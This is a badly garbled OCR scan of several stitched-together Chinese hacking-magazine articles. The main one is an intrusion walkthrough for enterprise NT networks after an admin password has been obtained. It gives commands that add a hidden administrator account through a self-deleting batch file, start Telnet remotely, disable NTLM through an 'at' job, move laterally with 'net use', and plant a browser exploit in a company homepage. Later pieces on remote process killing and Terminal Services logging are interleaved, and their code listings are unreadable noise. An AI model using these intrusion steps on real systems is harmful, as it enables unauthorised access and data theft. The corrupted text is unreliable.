他 们 压根 就 不 知道 “黑客 "会 怎么 做 。 本 文 介绍 的 就 是

得 到 NT 的 Admin 密码 以 后 人 侵 一 个 企业 计算 机 群

的 初级 和 中 级 手法 , 尤其 是 在 一 个 大 型 企业 当中 ,, 企

业 系 统管 理 员 的 密码 往往 关系 着 整个 公司 的 信息 泄

密 , 以 及 公司 的 数据 的 丢失 , 严重 的 影响 到 一 个 企业

的 生存 和 发 展 。

首先 ,我 们 先 假定 得 到 了 某 个 企业 的 一 台 服 务 器

192. 168.0. 1 的 Administrator 的 密码 , 而 对 方 没有 关

闭 139 端口 。

普通 共享 资源 的 入 侵

这 种 人 侵 手 法 可 说 是 NT 最 简单 的 人 侵 了 , 随 便

在 自己 机 器 的 哪个 窗口 的 地 址 栏 里 输入 \

192. 168. 0. 1, 大 概 等 1 -2 秒 , 对 方 就 会 要 求 你 输入

用 户 名 和 密码 , 输入 所 得 到 的 用 户 名 和 密码 以 后 就 可

以 进入 , 并 可 以 看 到 这 人 台 服 务 器 在 企业 中 的 共享 资源

了 ,由 于 权限 是 Admin, 所 以 你 几乎 可 以 删除 对 方 共

享 资 源 里 的 任何 东西 (如果 设 置 了 共享 为 只 读 那 就 没

办 法 了 )。

默认 及 隐藏 共享 资源 的 入 侵

在 说 这 种 人 侵 方法 之 前 我 先 来 给 大 家 介绍 一 个

NT 的 下 C$ 连 接 , 在 默认 情况 下 NT 系统 有 一 个 特殊

的 隐藏 共享 , 就 是 IPC$ 共 享 。PPC$ 是 专门 用 在 NT 中

的 一 种 管道 通讯 ,NT 系统 之 间 的 通讯 大 部 分 都 在 又

了 PC$ 完 成 的 。

这 次 手法 相对 高 明 一 点 , 但 还 是 很 简单 的 , 不 过

关键 还 是 要 看 “黑客 ”如何 利用 了 ,有 的 人 可 能 只 能 删

删 文件 , 有 的 人 却 可 以 利用 这 个 留 下 后 门 , 以 便 下 次

如 果 密 码 改变 了 后 可 以 利用 后 门 进 入 。 同 样 在 机 器 里

随便 打开 一 个 窗口 , 在 地 址 栏 输 人 “\\192. 168. 0. 1

就 会 要 求 输入 密码 , 输入 以 后 所 看 到 的 东西 和 前 面 介

绍 的 一 样 , 好 现在 同时 也 建立 好 耻 C# 连 接 了 , 其 实在

提示 你 输入 密码 时 从 输入 窗口 中 也 知道 了 是 建立

了 下 C$ 连 接 。 然 后 我 们 再 次 在 地 址 栏 输入 地 址 , 这 次 输

人 的 就 有 点 不 同 了 ,输入 "\\192. 168. 0. 1 \c$ "大概 过

一 会 就 出 现 了 对 方 C 盘 里 所 有 的 内 容 了 。 如 果 想 看 对

方 D 盘 ,同样 ,输入 “\\192. 168. 0. 1\Dg" 就 看 见 对 方

D 盘 了 。 这 时 如 果 想 换 这 个 企业 的 主页 (假如 对 方 还

是 一 个 WEB 服务 器 ) 可 说 是 轻而易举 , 记 住 由 于 权限

是 管理 员 当 然 可 以 写 了 。 留 不 留 后 门 就 看 “黑客 "的 想

法 ,一 般 他 们 会 在 C 盘 (假设 在 c: \winnt 下 ) 建 立 一 个

批 处 理 文件 ,假设 文件 名 为 Hack. bat ,其 内 容 一 般 为 :

net user hack 1234 /add # 建 立 一 个 名 为 hack 密

码 为 1234 的 用 户

net ]ocalgroup administrators hack /add # 让 hack

也 是 管理 员

del C:\Documents and Settings \ administrator\“ 开

始 " 菜 单 \ 程 序 \ 启 动 \hack. lnk # 珊 除 启动 文件 夹 里 的

快捷 方式 消除 足迹

del c: \winnt \hack. bat # 删 除 hack. bat 这 个 文件

消除 足迹

这 样 当 企业 系统 管理 员 在 下 次 登陆 时 就 会 偷偷

的 添加 一 个 用 户 了 。 当 然 其 实 汪 ′ 加 用 户 算是 一 个 比较

思春 的 留 “ 后 门 ” 的 方法 了 ,所 以 很 多 “黑客 ”其实 会 放

一 个 可 以 常 驻 内 存 的 小 程序 , 然后 建立 一 个 类 似 的 批

处 理 文件 和 快捷 方式 ,那么 黑客 "基本 上 可 以 长 期 的

占有 企业 中 的 这 人 台 主 机 了 。

严 C$ 连 接 入 侵 的 提高

然而 每 个 “黑客 "都 不 可 能 那么 条, 非 要 一 直 等 到

下 次 企业 系统 管理 员 登 陆 以 后 才 可 以 占有 , 往往 “ 墨

客 "会 使 用 更 加 巧妙 的 手法 ,迅速 的 留 下 后 门 。 首 先 他

们 还 是 先 建立 PC$ 连 接 , 连 接 以 后 他 们 会 使 用 各 种

手法 开 后 门 , 比 如 打开 Telnet 服务 , 黑 客 怎么 打开

Tenet 服务 呢 ? 其 实 有 很 多 种 方法 , 比 如 微软 公司 自

己 就 出 了 一 个 小 程序 (Netsvyc. exe) , 就 是 专门 让 系统

管理 员 在 建立 IPC# 连 接 以 后 远程 打开 服务 用 的 管理

工具 ,但 这 个 工具 到 了 “黑客 ?手中 自然 也 成 了 必 不 可

少 的 “黑客 ”工具 了 , 在 命令 符 下 输入 “netsvec \\

192. 168. 0. 1 telnetvstart" 大 概 等 $ 分 钟 对 方 的 Telnet

服务 就 打开 了 ,然后 “telnet 192. 168. 0. 1”, 需 要 NTLM

验证 , 这 下 又 把 “黑客 " 拦 在 了 外 面 了 , 这 时 他 们 又 会

用 到 一 个 小 程序 了 , 就 是 专门 关闭 一 个 NTLM 验证 的

程序 Ntm. exe。( 当 然 也 可 以 是 其 他 名 字 ) “copy

ntlm. exe \\_,192. 168. 0. 1\ admin 岂 \ system32” 把

Ntm. exe 复制 到 服务 器 的 System32 目录 , 复 制 过 去

了 ,可 怎么 让 他 运行 呢 ? 当然 多 的 是 办 法 了 。“net time

\\ 192. 168. 0. 1” 看 看 对 方 系统 时 间 为 多 少 假设 为

18: 00。 现 在 再 输入 “at \\ 192. 168.0.1 18: 02

ntlm. exe”, 等 一 会 后 , 命令 提示 符 显 示 新 加 任务 ID =

0, 意思 是 对 方 系统 在 18: 02 时 运行 Ntim. exe 这 个 程

序 , 等 到 18:02 一 过 ,然后 再 “telnet 192. 168. 0. 1”, 这

回 是 提示 需要 输入 用 户 和 密码 了 , 输入 所 得 到 的 管理

员 用 户 名 和 密码 以 后 就 成 功 的 Telnet 到 了 企业 服务

髓 了 。 不 过 这 样 一 下 是 Netsvc ,一 下 又 是 At 实在 是 麻

烦 。 现 在 就 介绍 另 一 个 方法 , 首先 还 是 先 感谢 微软 为

NT 系统 管理 员 提 供 的 方便 的 管理 功能 , 这 一 功能 到

了 "黑客 "手中 可 说 是 “黑客 ”的 福音 ,不 用 “黑客 "再 这

么 及 烦 的 输入 这 样 那样 的 命令 了 ,建立 好 IPC$ 连 接

以 后 〈IPC$# 连 接 果 然 是 一 种 功能 非常 强大 的 管理 连

接 ) ,打开 本 地 计算 机 里 的 “计算 机 管理 ,用 鼠标 右键

点 计算 机 管理 窗口 里 的 “计算 机 管理 (本 地 )” 里 面 有

“连接 到 另 一 台 计 算 机 ”选择 它 , 在 “名 称 ” 里 输入

“192. 168. 0. 1 确定 以 后 ,首先 你 的 NT 系统 会 看 是 否

建立 耻 C$ 连 接 ,“ 有 ”就 连接 上 去 了 , 现在 你 就 可 以 直

接管 理 192. 168. 0. 1 了 ,比如 看 他 的 日 志 , 启动 他 的

服务 (当然 包括 Telnet 了 ) , 管理 他 的 IS , 什么 都 有 。

多 研究 一 下 , 连 注 销 对 方 系统 当前 登陆 的 用 户 , 重新

启动 对 方 计 算 机 , 关闭 对 方 计算 机 都 有 , 真是 强大 。

NT 系统 到 了 “黑客 ”手中 , 整个 系统 都 成 了 一 个 “ 黑

客 " 工 具 了 ,而且 是 功能 非常 强大 的 “黑客 工具。 启动

了 Tenet 了 ,可 还 是 要 NTLM 验证 怎么 办 ? 简单 ,在 本

地 计算 机 建立 一 个 用 户 名 和 密码 相同 的 用 户 , 如 果 已

有 就 把 密码 改 为 相同 ,然后 使 用 这 个 用 户 登 陆 , “telnet

192. 168. 0. 1” , 连 密码 都 不 用 输入 了 , 因 为 通过

NTLM 验证 了 。

看 了 以 上 文章 , 现在 那些 安全 意识 差 的 企业 系统

管理 员 们 知道 了 暴露 了 管理 员 密码 的 危险 性 了 吧 ? 还

没完 呢 ,都 到 这 一 步 了 还 没完 ?

入 侵 的 深入

“黑客 ”当然 不 会 仅仅 在 攻 饮 一 台 服 务 器 以 后 就

立刻 黑手 了 ,, 他 会 深入 人 侵 你 的 内 网 , 尤其 是 在 一 个

企业 中 ,往往 都 有 一 大 片 的 计算 机 ,那些 商业 间谍 “ 黑

客 ” 就 更 加 的 想 和 人 侵 到 企业 内 部 去 了 , 而 很 多 企业 系

统管 理 员 喜 欢 把 所 有 的 服务 器 的 密码 设 为 一 样 , 就 给

“黑客 ”提供 了 一 个 良好 的 人 侵 条 件 , Telnet 到 对 方 服

务 器 以 后 ,输入 “net view”, 企业 中 整个 工作 组 或 域 的

计算 机 这 时 都 一 展 无 余 。 同 样 在 Telnet 里 建立 IPC$ 连

接 以 后 ,就 象 人 侵 服 务 器 一 样 的 人 侵 了 , 前 面 说 的 建

立 IC$# 连 接 都 是 使 用 的 图 形 界面 , 然 而 这 时 候 已 经

不 再 拥有 图 形 界 面 了 , 现 在 假设 企业 内 网 的

192. 168.0. 2 的 密码 和 这 人 台 服 务 器 密码 相同 , 这 是 可

以 使 用 “net use \\192. 168. 0. 2 \ipc 书 ”passwd“ /user:

username "来 建立 正 C$# 连 接 了 , 然后 是 映射 驱动 盘 , 输

人 入 ”net use z: \\192.168.0.2\ c$$” 这 样 就 把

192. 168.0.2 的 C 盘 瞻 射 到 192. 168.0.1 的 Z 相 去

了 。 输 入 “2 "这 样 同 样 可 以 象 浏 览 192. 168. 0. 1 的 硬

盘 一 样 ,浏览 192. 168. 0.2 的 C 盘 。 而 如 果 他 是 商业

间谍 “黑客 ”, 一 旦 发 现 里 面 有 价值 的 东西 自然 不 用 说

将 来 会 发 生 什么 事 了 。 当 然 这 往往 还 算是 最 好 的 条

件 , 其 实 还 是 有 相当 一 部 分 企业 系统 管理 员 不 会 把 密

码 设 为 一 样 的 。 现 在 就 看 网 络 的 情况 了 , 如 果 人 侵 的

正好 是 一 台 主 域 控制 器 , 那 对 于 商业 间谍 来 说 可 是 高

兴 死 了 , 赶快 把 自己 升级 成 域 管理 员 , 这 下 整个 企业

的 一 个 域 的 机 器 都 落 在 了 他 的 手中 。 当然 在 “黑客 " 手

中 这 也 算是 一 种 非常 好 的 情况 。 但 现在 微软 行 行 色色

的 漏洞 越 来 越 多 , 同时 也 根据 “黑客 "经验 的 多 少 人 侵

内 网 的 机 会 也 越 来 越 大 , 在 一 个 企业 中 , 往往 直接 连

接 Internet 的 是 WEB 服务 器 , 而 一 个 有 耐性 的 “里

客 ", 一 个 想 人 侵 这 个 企业 的 商业 间谍 当然 会 不 异 一

本 文 并 没有 什么 新 的 技术 , 只 是 做 一 些 归 纳 总 结

吧 。 在 这 过 程 中 参考 了 部 分 书籍 和 网 上 的 一 些 资料 ,

加 上 自己 的 一 些 理解 , 列 举 枚 举 本 地 远程 NT 系统

进程 的 的 几 种 方法 ,希望 对 大 家 有 所 帮助 。

Windows2000 中 有 个 工具 Taskmgr. exe 就 可 以 比

较 详 细 的 查看 当前 系统 进程 信息 , 但 是 那 是 Windows

GUI 程序, 有 时 候 是 不 是 觉得 命令 行 下 的 东西 更 方便

呢 ? 其 实 已 经 有 不 少 命令 行 下 的 枚 举 系 统 进程 的 工具

了 ,MS$ 的 Resource Kit 中 好 象 也 有 , 但 是 你 需要 去 了

解 他 们 是 怎么 实现 的 。 如 果 我 们 自己 动手 做 一 个 出

来 ,是 不 是 更 有 意思 呢 ?

进程 通常 被 定义 为 一 个 正在 运行 的 程序 的 实例 ,

它 由 两 部 分 组 成 ;

1. 操作 系统 用 来 管理 进程 的 内 核对 象 。 内 核对

象 也 是 系统 用 来 存放 关于 进程 的 统计 信息 的 地 方 。

2. 地 址 空间 。 它 包含 所 有 可 执行 模块 或 DLL 模

块 的 代码 和 数据 , 还 包含 动态 内 存 分 配 的 空间 ,如 线

程 的 堆栈 和 堆 分 配 空 间 。

切 手段 人 侵 , 其 中 一 个 手法 就 是 利用 WEB 服务 ,微软

公司 在 今年 出 现 的 MIME 漏洞 就 有 很 好 的 利用 价值 ,

有 了 这 个 漏洞 “黑客 "将 会 更 换 WEB 服务 器 的 主页 ,

在 主页 里 把 MEMI 漏洞 攻击 代码 揪 进 HIML 中 , 使 得

企业 内 部 的 员工 在 浏览 自己 公司 主页 时 运行 指定 的

程序 。 对 于 企业 内 部 来 说 , 绝对 不 可 能 从 来 不 看 自己

的 主页 的 , 尤其 是 象 企业 负责 人 , 他 们 一 般 都 会 不 定

期 的 检查 主页 。 那 么 他 们 在 浏览 自己 的 主页 时 就 无 声

无 息 的 执行 了 “黑客 "所 指定 的 程序 ,这 个 程序 可 能 是

木马 ,也 可 能 同样 是 添加 用 户 的 批 处 理 文件 。

由 上 面 可 以 看 出 一 旦 NT 系统 的 密码 泄露 是 意见 .

多 人 么 危险 的 事情 , 尤其 在 一 个 企业 当中 , 同时 也 看 出

一 个 企业 网 络 的 拓扑 是 否 合理 也 起 着 非常 重要 的 作

用 。

枚 举 系统 进程 的 实现 方法 大 概 有 四 种 ,我 们 分 别

来 看 看 , 其 中 有 一 种 可 以 用 来 枚 举 远 程 NT 系统 的 进

程 , 前 提 是 有 远程 系统 的 管理 员 权 限 。

调用 PSAPI 函数 枚 举 系统 进程

M$ 的 Windows NT 开发 小 组 开发 了 自己 Process

Status 函数 , 包 含 在 PSAPI. DLL 文件 中 , 这 些 函 数 只

能 在 高 于 NT4. 0 以 后 的 版 本 中 使 用 .PSAPI 一 共有 14

个 函数 (实际 PSAPI. DLL 输出 函数 有 19 个 ,但 其 中 有

5 个 函数 有 两 个 版 本 ,分别 是 ANSI 和 Unicode 版 本 ),

通过 调用 这 些 函 数 , 我 们 可 以 很 方便 的 取得 系统 进程

的 所 有 信息 ,例如 进程 名 .进程 卫 \ 父 进程 艺 、 进 程 优

先 级 、 上 映射 到 进程 空间 的 模块 列表 等 等 。 为 了 方便 起

见 ,以 下 的 例子 程序 只 获取 进程 的 名 字 和 耳 。

简单 的 程序 如 下 :

其 他 入 侵

这 里 所 说 的 并 不 是 说 不 重要 , 而 是 补充 一 下 上 面

没有 说 到 的 东西 以 及 一 些 也 是 非常 简单 的 手法 。 其 他

还 可 以 通过 3389 端口 人 侵 , 3389 是 Win2000 系统 的

自 带 的 ,并 且 是 图 形 界 面 的 , 远程 管理 里 服务 的 端口 ,

“黑客 ”一 旦 有 了 管理 员 密 码 , 和 危险 性 也 更 加 直观 化

了 。 另 外 就 是 通过 IIS 的 管理 人 侵 , 在 默认 情况 下 葬

提供 一 个 WEB 方式 的 管理 服务 ,在 c: \inetpub \www-

root 里 有 一 个 叫 IISstar. asp 的 东西 ,如 果 可 以 访问 ,而

且 有 管理 员 密 码 (NT4 里 不 是 管理 员 也 可 以 ,只 要 是

NT 的 合法 帐号 ) 就 可 以 远程 通过 WEB 方式 管理 HS

信息 服务 , 然 后 通过 特殊 手法 进一步 控制 整个 机 器 ,

然后 是 整个 企业 …… 二

TS

8

三 下

SS

NIORR

基于 PSAPI, shotgun 写 了 个 比较 完整 的 命令 行 下

内 存 进 程 / 模 块 查看 器 , 可 以 显示 内 存 中 所 有 的 进程

及 进程 调用 的 所 有 模块 文件 (DLL), 可 以 用 来 协助 程

序 、.DLL 的 调试 ,也 可 以 用 来 查找 DLL 木马 和 后 门 。 有

兴趣 的 读者 可 以 从 http: / /www. patching. net/yshot-

gm/ps. zip 下 载 ,压缩 包 包含 C + + 源 代码 。

调用 ToolHelp API 枚 举 本 地 系统 进程

在 前 面 提 到 的 PSAFI 函数 只 能 枚 举 NT 系统 的 进

程 , 在 Windows9x 环境 下 我 们 可 以 通过 调用 ToolHelp

API 函数 来 达到 枚 举 系统 进程 的 目的 。M$ 的 Windows

NT 开发 小 组 因为 不 喜欢 ToolHelp 函数 , 所 以 没有 将

这 些 函 数 添 加 给 Windows NT, 所 以 他 们 开发 了 自己 的

Process Status 图 数 , 就 是 前 面 提 到 的 PSAPI 了 。 但 是

后 来 M$ 已 经 将 ToolHelp 函数 添加 给 了 Windows

2000。ToolHelp 共有 12 个 函数 ,通过 调用 这 些 画 数 可

以 方面 的 取得 本 地 系统 进程 的 详细 信息 , 以 下 这 个 简

单 的 例子 只 调用 了 三 个 函数 , 获取 我 们 所 需要 系统 进

程 名 字 和 进程 硬 。 程 序 如 下 :

er

1 人

|

0

的 从 几 和 时 扯 名 中

女 次 总 时

懈 去 和

线 送 于 与

髓 内 记号 上 和 量 。

必 省 和 上 和

竖 二 米 阴 下 全 有

.3 皇 < 朱 哎 。 包 上

呈 水 埋 付 加 呈 二 .

号 鼠 直 了 赂 职 本 史 洁 县

; 卫 呈 府 郊 玉 时 里 定 芝

中 相交 机 上 全 区 层

及 烤 亚 长 典 芋 虽 冯 于

提 烙 时 中 是 深 王 福 延

忆 汪 吕 只 共 改 币 床 全 |

忆 陪 曼 本 民 中 所 名 它 忆

奴 泥 疙 呈 习 慢 要 米 景 共

苦 其 区 丘 吕 旺 人 并 过

机 涛 各 册 习 呈 下 入 写 玫

> 玛

插 了 则 地

外 站 志

从 了 PD 机 中 取得 本 地 /远程 系统 进程

信息

前 面 资 的 三 种 方法 都 只 能 枚 举 本 地 的 系统 进程 ,

如 何 枚 举 远 程 系统 的 进程 呢 ? 目前 我 只 知道 从 PDH

中 取得 进程 信息 。

先 简单 的 说 说 PDH 是 什么 东西 。PDH 是 英文

Performance Data Helper 的 缩写 ,Windows NT 一 直 在

更 新 这 个 称 为 Performance Data 的 数据 库 , 这 个 数据

库 包 含 了 大 量 的 信息 , 例 如 CPU 使 用 率 , 内 存 使 用

率 , 系统 进程 信息 等 等 一 大 堆 有 用 的 信息 , 可 以 通过

注册 表 函 数 来 访问 。 注 意 , Windows 9x 中 并 没有 配置

这 个 数据 库 。 但 是 ,这 个 数据 库 中 的 信息 布局 很 复杂 ,

很 多 人 并 不 愿意 使 用 它 ,包括 我 。 而 且 刚 开始 的 时 候 ,

它 也 没有 自己 特定 的 函数 , 只 能 通过 现 有 的 注册 表 函

数 来 操作 。 后 来 , 为 了 使 该 数据 库 的 使 用 变 得 容易 ,

MS 开发 了 一 组 Performance Data Helper 函数 , 包含 在

PDH. DLL 文件 中 。

Windows 2000 默认 是 允许 远程 注册 表 操 作 的 ,所

以 我 们 就 可 以 通过 连接 远程 系统 的 注册 表 , 从 它 的

PDH 中 取得 我 们 所 需要 的 系统 进程 信息 了 , 当然 这 需

要 远程 系统 的 Admin 权限 。

下 面 所 举 的 例子 是 直接 利用 注册 表 函 数 来 从 本

地 /远程 系统 的 PDH 数据 库 中 取得 我 们 所 需要 的 数

据 的 ,我们 并 没有 利用 PDH API。

程序 代码 如 下 :

RE

1

村 本

0

机 叶

人 和,

0 法 |

ss

7

RH

2

3

iZe0f GSS

TAR

一 卫 人 。

1

Dot 兴

区 刘

由 1 4

, ANY

2 的 光

文 / ey4s

前 面 我 们 说 了 四 种 查看 本 地 、 远 程 系统 进程 的 办

法 , 接 下 来 我 们 来 研究 一 下 怎么 杀 掉 本 地 、 远 程 NT 系

统 的 进程 吧 。

杀 掉 本 地 进程 其 实 很 简单 , 取得 进程 卫 后 , 调用

OpenProcess 函数 打开 进程 句柄 , 然 后 调用 Termi-

nateProcess 函数 就 可 以 杀 掉 进程 了 。 有 些 情 况 下 并 不

能 直接 打开 进程 句柄 , 例如 WINLOCON 等 系统 进程 ,

因为 权限 不 够 。 这 个 时 候 我 们 就 得 先 提 升 自 己 的 进程

的 权限 了 。 提 升 权限 过 程 也 不 复杂 , 先 调用 GetCur-

rentProcess 函数 取得 当前 进程 的 句柄 , 然 后 调用

OpenProcessToken 打开 当前 进程 的 访问 令 牌 , 接 着 调

用 LookupPrivilegeValue 天 数 取得 你 想 提 升 的 权限 的

值 ,最 后 调用 AdjustTokenPrivileges 函数 给 当前 进程 的

访问 令 牌 增加 权限 就 可 以 了 。 一 般 有 了 SeDebugPriv-

ilege 特权 后 ,就 可 以 杀 掉 除 Idle 外 的 所 有 进程 了 。

那 如 何 杀 掉 远程 进程 呢 ? 说 起 来 有 点 复杂 , 但 其

实 也 不 难 。

< 1> 与 远程 系统 建立 了 PC 连接

<2> 在 远程 系统 的 系统 目录 admin$\ system32

中 写 人 一 个 文件 killsrv. exe

<3> 调用 函数 OpenSCManager 打开 远程 系统 的

Service Control Manager [SCM |]

<4> 调用 函数 CreateService 在 远程 系统 创建 一

个 服务 , 服 务 指向 的 程序 是 超 > ”中 写 人 的 程序

killsrv. exe

<5> 调用 函数 StartService 启动 刚才 创建 的 服

务 ,把 想 杀 掉 的 进程 的 ID 作为 参数 传递 给 它

<6> 服务 启动 后 ,killsrv. exe 运行 , 杀 掉 进程

<7> 清场

这 样 看 来 ,我 们 需要 两 个 程序 了 。Killsrv. exe 的 源

代码 如 下 :

rr

站 汪 了,

NUICIER

一 了 A

0

服务 端的 程序 已 经 好 了 。 接 下 来 还

进 制 码 作为 baff 保存 在 客户 端 吧 , 这

样 在 运行 的 时 候 , 我 们 直接 把 bag 中 的 内 容 写 过 去 ,

killsrv. exe 的

需要 一 个 客户

如 果 通 过 在 客户 端 运行 的 时 候 , 把 killsrv.exe

就 可 以 了 。

这 样 提供 给 用 户 一 个 exe 文件

就 需要 提供 两 个 exe 文件

远程 系统 上 , 那 么 寓

COPY 到

Pskill. ec 的 源 代码 如 下 :

就 把

这 样 显得 不 是 很 专业 , 呵呵 。 不 如 我 们

?

用 户

NE。

Sr

5

SR

SN

1

1

0

的 肝

. 汉 县 入 性 .

RSS 0

4

1

0

0 0

二 计 全 寺

以 上 程序 在 Windows2000、VC + + 6. 0 环境 下 编

译 , 测 试 还 行 。 编 译 好 的 pskil. exe 在 我 的 主页

http: //ey4s. 126. com 有 下 载 。

其 实 我 们 变通 一 下 , 改 变 一 下 killsrv. exe 的 内

半 , 例 如 启动 一 个 cmd. exe 什么 的 , 这 样 有 了 admin

限 , 并 且 可 以 建立 下 C 连接 的 时 候 , 不 就 可 以 在 远

ae

磺 和 共 路

psexec. exe 和 小 榕 的 ntcmd. exe 原理 都 和 这 差不多

的 。

也 许 有 人 会 问 了 , 怎么 得 到 程序 的 二 进 制 码 ? 随

便 用 一 个 二 进 制 编辑 器 ,例如 UltraEdit 等 。 但 是 好 像

不 能 把 二 进 制 码 保存 为 文本 , 类 似 这 样 “\xAB\x77,

xCD”, 所 以 我 们 就 不 能 直接 用 了 。 懒 的 去 找 这 样 的 工

具 了 ,自己 写 个 简单 的 吧 ,代码 如 下 :

微软 的 Win2000 服务 器 版 中 自 带 了 一 个 终端 服

务 Terminal Service, 这 个 服务 基于 远程 桌面 协议

(RDP) , 它 的 速度 非常 快 , 也 很 稳定 , 是 一 个 比较 好 的

远程 管理 软件 , 不 过 这 个

方 :

第 一 是 没有 改 端口 的 地 方 , 终端 服务 只 能 使 用 默

认 的 3389 端口 。 对 于 一 个 谭 慎 的 管理 员 来 说 ,服务 器

开 着 3389 端口 , 随 便 娜 个 调皮 的 孩子 都 能 上 去 试 试

密码 ; 再 加 上 前 些 时 候 微 软 输入 法 的 漏洞 ,不 需要 密

码 就 是 System 权限 , 不 改 个 端口 ,万 一 微软 什么 时 候

再 出 个 大 丝 漏 ,你 该 怎么 办 ?

第 二 是 没有 完善 的 日 志 功 能 , 这 样 什么 人 什么 时

候 曾 经 连 上 我 的 机 器 我 都 不 知道 ,是 不 是 可 怕 了 点 ?

其 实 这 两 个 问题 都 可 以 非常 容易 的 解决 :

对 于 端口 的 问题 , 微软 提供 了 一 个 方法 允许 用 户

自己 更 改 服务 器 端 和 客户 端的 端口 :

微软 的 原文 在 : http: //support. microso 生 .com/

support/kbvarticles/Q187/6/23. ASP

上 面 这 个 链接 是 英文 版 的 , 如 果 不 愿 意 去 看 原文

的 ,就 听 我 说 :

1。 第 一 步 ,

端 设 置 。

打开 注册 表 (Regedit 或 者 Regedt32, 随便 你 用 哪

个 ) , 找 到 类 似 这 样 的 键 值 HKEY LOCAL MACHINEA'

System\ CurentControlSet\ Control\ Terminal Server\

Wds\ Repwd\ Tds\ Tep, 看 到 那个 PortNumber 没有 ?

0xd3d, 这 是 16 进 制 , 就 是 3389 啦 , 我 改 …… 这 个 值

是 RDP( 远 程 桌 面 协 议 ) 的 默认 值 , 也 就 是 说 是 用 来 配

置 以 后 新 建 的 RDP 服务 的 , 要 改 已 经 建立 的 RDP 服

务 ,我 们 去 下 一 个 键 值 :

HKEEY _ LOCAL MACHINE\ SYSTEMAN\ CurentCon-

终端 服务 有 几 个 不 方便 的 地

更 改 终端 服务 的 服务 器

文 / shotgun

vv

全 四

trolSet\Control \TerminalServer\WinStations 这 里 应 该 有

一 个 或 多 个 类 似 RDP - TCP 的 子 键 (取决 于 你 建立 了

多 少 个 RDP 服务 ) ,一 样 改 掉 PortNumber。

2. 第 二 步 , 改 客户 端 。

服务 端 改 了 端口 而 客户 端 端口 没有 变 , 我 们 岂 不

是 只 有 二 用 有 眼 ? 再 来 改 客户 端 : 打开 客户 端 连接 管理

器 , 按 照 正常 的 步 双 建 立 一 个 客户 端 连接 的 快捷 方

式 , 选中 这 个 连接 , 然后 在 “文件 菜单 里 选择 “导出 ”

(Menu 一 Pile 一 Export) , 这 个 操作 会 生成 一 个 ens 文

件 ,, 就 是 终端 服务 客户 端的 配置 文件 , 你 可 以 用 文本

编辑 器 〈 比 如 记事 本 ) 编辑 这 个 文件 , 找 到 “Server

Por =3389"”, 改 成 你 要 的 端口 , 然 后 再 选 导 入

(Menu 一 File 一 Import) , 这 时 的 客户 端 快捷 方式 已 经

变 成 你 需要 的 端口 了 。

需要 注意 的 是 , 从 微软 主页 上 下 载 的 终端 服务 客

户 端 Terminal Service Client(MSI 版 ) 以 及 ActiveX 版

都 不 能 更 改 端口 ,只 有 使 用 Win2000 服务 器 版 终端 服

务 自 带 的 “制作 安装 软盘 ”功能 制作 的 版 本 可 以 改 端

口 , 这 个 功能 在 管理 工具 的 “终端 服务 客户 端 生 成 器 ”

(Terminal Service Client Creator) 中 。

对 于 日 志 的 问题 ,其实 Terminal Service 自己 是 有

日 志 功 能 的 ,在 管理 工具 中 打开 远程 控制 服务 配置

(Terminal Service Configration ) ,点击 “连接 ”, 右 击 你 想

配置 的 RDP 服务 (比如 RDP -TCP(Microsoft RDP

5. 0), 选中 书签 “权限 ”, 点 击 左下 角 的 “高 级 ”, 看 见

上 面 那个 “审核 ”了 人 么 ? 我 们 来 加 入 一 个 Everyone 组 ,

这 代表 所 有 的 用 户 , 然 后 审核 他 的 “连接 ”“ 断 开 ”、

“注销 ”的 成 功 和 "登录 ”的 成 功 和 失败 就 足够 了 ,审核

太 多 了 反而 不 好 , 这 个 审核 是 记录 在 安全 日 志 中 的 ,

可 以 从 “管理 工具 ”一 “日 志 查 看 器 ”中 查看 。

现在 什么 人 什么 时 候 登 录 我 都 一 清二 楚 了 , 可 是

美中不足 的 是 : 它 居 然 不 记录 客户 端的 卫 ( 只 能 查看

在 线 用 户 的 了 正 ) ,而 是 记录 机 器 名 。 要 是 别人 起 个 PIG

的 机 器 名 你 只 好 受 他 的 嘲弄 了 。 我 们 自己 来 写 个 程

序 , 一 切 搞定 , 你 会 C 么 ? 不 会 ? VB 呢 ? 也 不 会 ?

Delphi? 什 么 ? 你 什么 编程 语言 都 不 会 ? 我 倒 ,毕竟 系

统管 理 员 不 是 程序 员 呀 , 别 急 别 急 ,我 给 你 想 办 法 ,我

们 来 建立 一 个 bat 文件 , 叫做 TSLog. pat, 这 个 文件 用

来 记录 登录 者 的 下, 内容 如 下 :

我 来 解释 一 下 这 个 文件 的 含义 :

第 一 行 是 记录 用 户 登 录 的 时 间 ,Timevt 的 意思

是 直接 返回 系统 时 间 (如 果 不 加 /t, 系统 会 等 待 你 答

人 新 的 时 间 ), 然后 我 们 用 追加 符号 “> > ”把 这 个 时

闻 记 人 TSLog. log

第 二 行 是 记录 用 户 的 耳 地 址 ,Netstat 是 用 来 显

示 当 前 网 络 连接 状况 的 命令 , -nm 表示 显示 卫 和 端口

而 不 是 域名 .协议 , ~- p tep 是 只 显示 tcp 协议 ,然后 我

们 用 管道 符号 “1” 把 这 个 命令 的 结果 输出 给 Kind 命

令 , 从 输出 结果 中 查找 包含 “: 3389” 的 行 (这 就 是 我 们

要 的 客户 的 卫 所 在 的 行 , 如 果 你 更 改 了 终端 服务 的

端口 ,这 个 数值 也 要 作 相 应 的 更 改 ) ,最 后 我 们 同样 把

这 个 结果 重 定向 到 日 志文 件 TSLog. log 中 去 , 于 是 在

TSLog. log 文件 中 ,记录 格式 如 下 :

也 就 是 说 只 要 这 个 TSILog. bat 文件 一 运行 , 所 有

连 在 3389 端口 上 的 正 都 会 被 记录 , 那么 如 何 让 这 个

批 处 理 文件 自动 运行 呢 ? 我 们 知道 ,终端 服务 允许 我

们 为 用 户 自 定义 起 始 的 程序 , 在 终端 服务 配置 中 , 我

们 履 盖 用 户 的 登录 脚本 设置 并 指定 TSLog. bat 为 用 户

登录 时 需要 打开 的 脚本 , 这 样 每 个 用 户 登 录 后 都 必须

执行 这 个 脚本 , 因 为 默认 的 脚本 〈 相 当 于 shel 环境 )

是 Explorer( 资 源 管 理 器 ) ,所 以 我 在 TSLog. bat 的 最 后

一 行 加 上 了 启动 Explorer 的 命令 start Explorer, 如 果

不 加 这 一 行 命令 ,用 户 是 没有 办 法 进入 桌面 的 。 当 然 ,

如 果 你 只 需要 给 用 户 特定 的 Shell :例如 cmd. exe 或 者

word. exe 你 也 可 以 把 start explorer 替换 成 任意 的

shell。

这 个 脚本 也 可 以 有 其 他 的 写法 , 作 为 系统 管理

员 , 你 完全 可 以 自由 发 挥 你 的 想象 力 、 自 由 利用 自己

